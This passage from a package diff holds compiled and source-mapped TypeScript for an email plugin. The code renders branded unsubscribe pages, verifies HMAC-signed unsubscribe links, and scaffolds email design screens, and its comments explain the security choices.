escapeHtml(brand.name)\n  // `alt` is the business name, so a logo that 404s or is blocked degrades to\n  // the wordmark with no script and no second request.\n  const mark = brand.logoUrl\n    ? `<img src=\"${escapeHtml(brand.logoUrl)}\" alt=\"${brandName}\" ` +\n      'referrerpolicy=\"no-referrer\" style=\"display:block;max-height:40px;' +\n      'max-width:200px;width:auto;height:auto;object-fit:contain;' +\n      'margin-bottom:4px\">'\n    : `<div style=\"font-size:15px;font-weight:700;letter-spacing:.02em;` +\n      `color:${pal.brand};margin-bottom:4px\">${brandName}</div>`\n  return (\n    '<!doctype html><meta charset=\"utf-8\">' +\n    '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">' +\n    '<meta name=\"referrer\" content=\"no-referrer\">' +\n    `<title>${brandName}</title>` +\n    '<div style=\"min-height:100vh;display:flex;align-items:center;justify-content:center;' +\n    `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` +\n    'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box\">' +\n    `<div style=\"max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` +\n    'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)\">' +\n    mark +\n    `<div style=\"width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` +\n    'margin-bottom:24px\"></div>' +\n    body +\n    '</div></div>'\n  )\n}\n\n/** A heading in the shell's type scale. */\nexport function heading(text: string): string {\n  return (\n    `<h1 style=\"margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}\">` +\n    `${text}</h1>`\n  )\n}\n\n/** Body copy in the shell's type scale. */\nexport function paragraph(html: string, marginBottom = 24): string {\n  return (\n    `<p style=\"margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` +\n    `color:${PAL.muted}\">${html}</p>`\n  )\n}\n\n/** The success checkmark badge the result pages open with. */\nexport function successBadge(pal: EmailPalette = PAL): string {\n  return (\n    `<div style=\"width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` +\n    'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' +\n    `font-size:18px;color:${pal.brand}\">&#x2713;</div>`\n  )\n}\n\n/**\n * A full-width submit button in either the brand or the link fill.\n *\n * The label ink is contrast-matched to the fill rather than fixed white: with\n * a host palette the fill is merchant-chosen, and a pale one would otherwise\n * hide the label on the button a recipient came here to press.\n */\nexport function submitButton(\n  label: string,\n  options?: {\n    name?: string\n    value?: string\n    accent?: 'brand' | 'link'\n    pal?: EmailPalette\n  },\n): string {\n  const pal = options?.pal ?? PAL\n  const background = options?.accent === 'link' ? pal.link : pal.brand\n  return (\n    '<button type=\"submit\"' +\n    (options?.name ? ` name=\"${escapeHtml(options.name)}\"` : '') +\n    (options?.value ? ` value=\"${escapeHtml(options.value)}\"` : '') +\n    ' style=\"font:inherit;font-size:14px;font-weight:600;' +\n    `padding:11px 20px;border:0;border-radius:8px;background:${background};` +\n    `color:${readableInkOn(background)};cursor:pointer;width:100%\">${label}</button>`\n  )\n}\n\n/** Headers every one of these pages sets: never indexed, never cached. */\nexport function sendPage(\n  res: Parameters<PluginApiHandler>[1],\n  html: string,\n): void {\n  res.setHeader('Content-Type', 'text/html; charset=utf-8')\n  // Never indexed, never cached — the page names the recipient's address.\n  res.setHeader('X-Robots-Tag', 'noindex, nofollow')\n  res.setHeader('Cache-Control', 'no-store')\n  res.status(200).send(html)\n}\n\n/** Everything the signed link carries. */\nexport interface UnsubscribeLinkParams {\n  hostId: string\n  email: string\n  signature: string\n  campaignId: string\n  topicId: string\n}\n\n/**\n * The link's parameters, from the query for both verbs and from the form body\n * as a fallback.\n *\n * The one-click POST keeps the full query string (it posts to the header URL\n * verbatim), and so does the confirmation form's action — so query-first is\n * the path both real callers take. The body fallback exists so a form posted\n * to the bare path still works rather than failing as an invalid link.\n */\nexport function readParams(\n  req: Parameters<PluginApiHandler>[0],\n): UnsubscribeLinkParams {\n  const body = (req.body ?? {}) as Record<string, unknown>\n  const pick = (name: string): string =>\n    String(req.query[name] ?? body[name] ?? '')\n  return {\n    hostId: pick('hostId').trim(),\n    email: pick('email').trim().toLowerCase(),\n    signature: pick('sig').trim(),\n    // `cid` names the campaign whose copy of this link was clicked. Absent on\n    // every link minted before it existed, which is the whole design\n    // constraint below.\n    campaignId: pick('cid').trim(),\n    // `tid` names the STREAM the message belonged to. Absent on every link\n    // minted before topics existed, on the same footing as `cid`.\n    topicId: pick('tid').trim(),\n  }\n}\n\n/**\n * The subject a signature covers, or `null` when the parameters cannot make\n * one unambiguously.\n *\n * ## Three signed forms, and why that is not a weakening\n *\n * A link minted before campaign attribution existed signs `hostId:email`. A\n * link minted since signs `hostId:email:campaignId`. A link minted since\n * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes\n * right now and all three have to keep working — an email is not recallable,\n * and an unsubscribe link that has stopped honoring itself is the one failure\n * in this area nobody gets to shrug at.\n *\n * Which form is checked is decided by the LINK, not by the signature: the\n * arity of the subject follows exactly which of `cid` and `tid` the URL\n * carries. There is no fallback between the forms, and that is what stops\n * this being a downgrade — an attacker cannot take a three-part link, drop\n * the `cid` and have it verify, because the two-part check over the same\n * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a\n * `tid` onto a shorter link: the longer check then fails.\n *\n * ## What makes the three forms unambiguous\n *\n * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon\n * would let one subject string be read as two different parameter tuples —\n * a four-part `host:email:c:t` is byte-identical to a three-part subject\n * whose campaign id is `c:t`. That is the edit this function has to refuse:\n * an attacker holding a topic link could otherwise re-present it as a\n * campaign link with the topic spliced into the campaign id, and the topic\n * they were signed for would silently become something else.\n *\n * So a colon in either id is refused outright, on every form. It costs\n * nothing real: campaign ids come from `createResourceUid()`, which is\n * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at\n * the point a topic is created.\n *\n * A `tid` with no `cid` is refused for the same reason — the empty middle\n * component would make `host:email::t` and a campaign id of `:t` the same\n * string. Every link the send path mints carries both.\n */\nexport function signedSubject(params: {\n  hostId: string\n  email: string\n  campaignId: string\n  topicId: string\n}): string | null {\n  const { hostId, email, campaignId, topicId } = params\n  if (campaignId.includes(':') || topicId.includes(':')) return null\n  if (topicId && !campaignId) return null\n  if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`\n  if (campaignId) return `${hostId}:${email}:${campaignId}`\n  return `${hostId}:${email}`\n}\n\n/**\n * What a CONFIRMATION link's signature covers, or `null` when it cannot be\n * made unambiguously.\n *\n * ## The ONE derivation, not a second one\n *\n * The subject itself is `confirmSignatureSubject` in\n * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The\n * three unsubscribe forms are stated twice — once there, once here — and they\n * agree today by inspection; adding a fourth form the same way would be\n * adding a fourth chance for a signer and a verifier to disagree about a link\n * that is already sitting in somebody's inbox.\n *\n * The deep path rather than the barrel, for the reason `email-suppression.ts`\n * gives at length: that module imports nothing but `node:crypto`, so this\n * file stays free of Firestore and a spec can still exercise the signature\n * scheme without standing up a database double.\n */\nexport function signedConfirmSubject(params: {\n  hostId: string\n  email: string\n  topicId: string\n}): string | null {\n  return (\n    confirmSignatureSubject(params.hostId, params.email, params.topicId) || null\n  )\n}\n\n/**\n * Whether a signature is this link's.\n *\n * `timingSafeEqual` needs equal lengths, so the length is compared first — it\n * is not a secret, both digests are fixed-width hex, and the call throws on a\n * mismatch rather than returning false.\n */\nexport function signatureMatches(args: {\n  hostId: string\n  email: string\n  campaignId: string\n  topicId: string\n  signature: string\n  secret: string\n  /**\n   * Verify the CONFIRMATION subject instead of the unsubscribe forms.\n   *\n   * A flag rather than a second function, so that every signed link in the\n   * product is checked by one comparison against one digest: the warning in\n   * this module's own header — that two implementations of one signature\n   * scheme is how the resubscribe link comes to reject a signature the\n   * unsubscribe link just accepted — applies to a fourth route as much as a\n   * third.\n   */\n  purpose?: 'unsubscribe' | 'confirm'\n}): boolean {\n  const subject =\n    args.purpose === 'confirm'\n      ? signedConfirmSubject(args)\n      : signedSubject(args)\n  if (subject === null) return false\n  const expected = createHmac('sha256', args.secret)\n    .update(subject)\n    .digest('hex')\n  return (\n    expected.length === args.signature.length &&\n    timingSafeEqual(\n      new Uint8Array(Buffer.from(expected)),\n      new Uint8Array(Buffer.from(args.signature)),\n    )\n  )\n}\n\n\n/**\n * The signed parameters, re-encoded for a form action or a sibling link.\n *\n * Every id rides through to the POST form, the preference page and the\n * resubscribe link, because the signature covers them: dropping one would\n * produce a URL whose shorter check fails against a longer signature, i.e. a\n * confirmation button that refuses itself.\n */\nexport function signedQuery(params: UnsubscribeLinkParams): string {\n  return (\n    `hostId=${encodeURIComponent(params.hostId)}` +\n    `&email=${encodeURIComponent(params.email)}` +\n    `&sig=${encodeURIComponent(params.signature)}` +\n    (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') +\n    (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '')\n  )\n}\n\n/**\n * A campaign id that is safe to use as a Firestore path component.\n *\n * `cid` arrives on a URL, so \"non-empty\" was never the question — a value of\n * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see\n * nor delete. The signature already proves the value is ours, so this is the\n * second lock rather than the only one; it is here because a path component\n * built from request text gets validated at the place it becomes a path.\n */\nexport function isCampaignPathId(value: string): boolean {\n  return (\n    !!value &&\n    value.length <= 1500 &&\n    !value.includes('/') &&\n    value !== '.' &&\n    value !== '..' &&\n    !/^__.*__$/.test(value)\n  )\n}\n"],"names":["hostPublicOrigin","resolveHostToken","absoluteMediaSrc","personKey","BRAND","prefersDarkInk","escapeHtml","confirmSignatureSubject","createHmac","timingSafeEqual","suppressionKeyFor","email","PAL","pageBg","cardBg","brand","accentRule","ink","muted","onBrand","badgeBg","link","divider","PLATFORM_EMAIL_BRAND","Object","freeze","name","ORG_NAME","pal","HEX_COLOR","safeColor","value","fallback","text","trim","test","readableInkOn","background","safeLogoUrl","host","stored","undefined","resolved","hostId","$id","origin","BRAND_NAME_MAX","resolveEmailPageBrand","scheme","slice","theme","colorSchemes","light","primary","main","logoUrl","secondary","page","body","maxWidth","brandName","mark","heading","paragraph","html","marginBottom","successBadge","submitButton","label","options","accent","sendPage","res","setHeader","status","send","readParams","req","pick","String","query","toLowerCase","signature","campaignId","topicId","signedSubject","params","includes","signedConfirmSubject","signatureMatches","args","subject","purpose","expected","secret","update","digest","length","Uint8Array","Buffer","from","signedQuery","encodeURIComponent","isCampaignPathId"],"mappings":"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"}

package/src/lib/utils/create-email-screen.d.ts

@@ -0,0 +1,59 @@
+/**
+ * @license
+ * Copyright 2026 Aglyn LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+/**
+ * Creates the quota-governed screen doc — the caller passes
+ * `useHostResourceApi()` so the create rides the console API that enforces
+ * screensPerHost server-side (AGL-473). Kept as a parameter (not a hook)
+ * so this helper stays a plain async function usable outside React.
+ */
+export type CreateScreenResource = (options: {
+    hostId: string;
+    resource: 'screen';
+    id: string;
+    data: Record<string, unknown>;
+}) => Promise<{
+    id: string;
+}>;
+/**
+ * Creates the screen's first version — the caller passes
+ * `useHostVersionApi()` so the create rides /api/hosts/versions (AGL-1369),
+ * which the rules now make the only path. A parameter for the same reason
+ * `CreateScreenResource` is one: this helper is not a hook.
+ */
+export type CreateScreenVersion = (options: {
+    hostId: string;
+    kind: 'screen';
+    parentId: string;
+    id: string;
+    data: Record<string, unknown>;
+}) => Promise<{
+    id: string;
+}>;
+/**
+ * Creates a besigner email document (AGL-347/349): a screen with kind
+ * 'email' plus a first version seeded with an email section + a greeting
+ * text block. Shared by the campaigns composer and the email-screens list
+ * so both scaffold identical documents, and built by `emailDesignDocuments`,
+ * which the server's draft writer builds from too. The screen doc goes
+ * through the quota-enforcing resources API (AGL-473) and the first version
+ * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST
+ * version on every plan. Returns the ids for navigation.
+ */
+export declare function createEmailScreen(hostId: string, createScreen: CreateScreenResource, createVersion: CreateScreenVersion, displayName?: string): Promise<{
+    screenId: string;
+    versionId: string;
+}>;

package/src/lib/utils/create-email-screen.js

@@ -0,0 +1,59 @@
+import { _ as _extends } from "@swc/helpers/_/_extends";
+/**
+ * @license
+ * Copyright 2026 Aglyn LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */ import { createResourceUid } from "@aglyn/aglyn";
+import { emailDesignDocuments, emailDesignStarterNodes } from "../model/email-design-document.js";
+/**
+ * Creates a besigner email document (AGL-347/349): a screen with kind
+ * 'email' plus a first version seeded with an email section + a greeting
+ * text block. Shared by the campaigns composer and the email-screens list
+ * so both scaffold identical documents, and built by `emailDesignDocuments`,
+ * which the server's draft writer builds from too. The screen doc goes
+ * through the quota-enforcing resources API (AGL-473) and the first version
+ * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST
+ * version on every plan. Returns the ids for navigation.
+ */ export async function createEmailScreen(hostId, createScreen, createVersion, displayName = 'Untitled email') {
+    const screenId = createResourceUid();
+    const versionId = createResourceUid();
+    const { screen, version } = emailDesignDocuments({
+        screenId,
+        versionId,
+        displayName,
+        nodes: emailDesignStarterNodes({
+            sectionId: createResourceUid(),
+            textId: createResourceUid()
+        })
+    });
+    await createScreen({
+        hostId,
+        resource: 'screen',
+        id: screenId,
+        data: _extends({}, screen)
+    });
+    await createVersion({
+        hostId,
+        kind: 'screen',
+        parentId: screenId,
+        id: versionId,
+        data: _extends({}, version)
+    });
+    return {
+        screenId,
+        versionId
+    };
+}
+
+//# sourceMappingURL=create-email-screen.js.map

package/src/lib/utils/create-email-screen.js.map

@@ -0,0 +1 @@
+{"version":3,"sources":["../../../../../../../libs/plugins/email/src/lib/utils/create-email-screen.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport { createResourceUid } from '@aglyn/aglyn'\nimport {\n  emailDesignDocuments,\n  emailDesignStarterNodes,\n} from '../model/email-design-document'\n\n/**\n * Creates the quota-governed screen doc — the caller passes\n * `useHostResourceApi()` so the create rides the console API that enforces\n * screensPerHost server-side (AGL-473). Kept as a parameter (not a hook)\n * so this helper stays a plain async function usable outside React.\n */\nexport type CreateScreenResource = (options: {\n  hostId: string\n  resource: 'screen'\n  id: string\n  data: Record<string, unknown>\n}) => Promise<{ id: string }>\n\n/**\n * Creates the screen's first version — the caller passes\n * `useHostVersionApi()` so the create rides /api/hosts/versions (AGL-1369),\n * which the rules now make the only path. A parameter for the same reason\n * `CreateScreenResource` is one: this helper is not a hook.\n */\nexport type CreateScreenVersion = (options: {\n  hostId: string\n  kind: 'screen'\n  parentId: string\n  id: string\n  data: Record<string, unknown>\n}) => Promise<{ id: string }>\n\n/**\n * Creates a besigner email document (AGL-347/349): a screen with kind\n * 'email' plus a first version seeded with an email section + a greeting\n * text block. Shared by the campaigns composer and the email-screens list\n * so both scaffold identical documents, and built by `emailDesignDocuments`,\n * which the server's draft writer builds from too. The screen doc goes\n * through the quota-enforcing resources API (AGL-473) and the first version\n * through /api/hosts/versions (AGL-1369), which allows a resource's FIRST\n * version on every plan. Returns the ids for navigation.\n */\nexport async function createEmailScreen(\n  hostId: string,\n  createScreen: CreateScreenResource,\n  createVersion: CreateScreenVersion,\n  displayName = 'Untitled email',\n): Promise<{ screenId: string; versionId: string }> {\n  const screenId = createResourceUid()\n  const versionId = createResourceUid()\n  const { screen, version } = emailDesignDocuments({\n    screenId,\n    versionId,\n    displayName,\n    nodes: emailDesignStarterNodes({\n      sectionId: createResourceUid(),\n      textId: createResourceUid(),\n    }),\n  })\n  await createScreen({\n    hostId,\n    resource: 'screen',\n    id: screenId,\n    data: { ...screen },\n  })\n  await createVersion({\n    hostId,\n    kind: 'screen',\n    parentId: screenId,\n    id: versionId,\n    data: { ...version },\n  })\n  return { screenId, versionId 